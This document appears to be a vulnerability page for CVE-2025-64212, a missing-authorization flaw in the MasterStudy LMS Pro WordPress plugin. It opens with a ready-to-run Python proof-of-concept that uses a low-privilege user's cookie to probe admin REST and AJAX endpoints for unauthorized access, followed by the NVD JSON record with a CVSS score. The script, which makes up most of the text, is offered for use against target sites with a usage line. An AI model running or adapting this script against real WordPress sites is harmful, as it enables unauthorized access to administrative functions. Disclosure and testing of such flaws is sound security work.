CVE-2025-64212

import requests import sys # CVE-2025-64212 PoC - MasterStudy LMS Pro Missing Authorization # Target: WordPress site with MasterStudy LMS Pro plugin < 4.7.16 def exploit(target_url, auth_cookie): """ Exploit missing authorization in MasterStudy LMS Pro This PoC demonstrates accessing admin functionality with low-privilege user """ # Target endpoint that lacks proper authorization checks # Replace with actual vulnerable endpoint after reconnaissance endpoints = [ '/wp-json/masterstudy/v1/admin/settings', '/wp-json/masterstudy/v1/users', '/wp-admin/admin-ajax.php', ] headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f'[*] Target: {target_url}') print(f'[*] Testing {len(endpoints)} endpoints...') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Attempt to access privileged functionality try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f'[+] VULNERABLE: {endpoint}') print(f' Status: {response.status_code}') print(f' Response: {response.text[:200]}...') elif response.status_code == 403: print(f'[-] Protected: {endpoint}') else: print(f'[*] Unknown: {endpoint} - Status: {response.status_code}') except requests.RequestException as e: print(f'[!] Error testing {endpoint}: {e}') return True if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-64212.py <target_url> <auth_cookie>') print('Example: python cve-2025-64212.py http://example.com "wordpress_test_cookie=xxx"') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit(target, cookie)

{"cve": {"id": "CVE-2025-64212", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:42.157", "lastModified": "2026-04-27T16:16:35.137", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in StylemixThemes MasterStudy LMS Pro masterstudy-lms-learning-management-system-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MasterStudy LMS Pro: from n/a through < 4.7.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/masterstudy-lms-learning-management-system-pro/vulnerability/wordpress-masterstudy-lms-pro-plugin-4-7-16-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}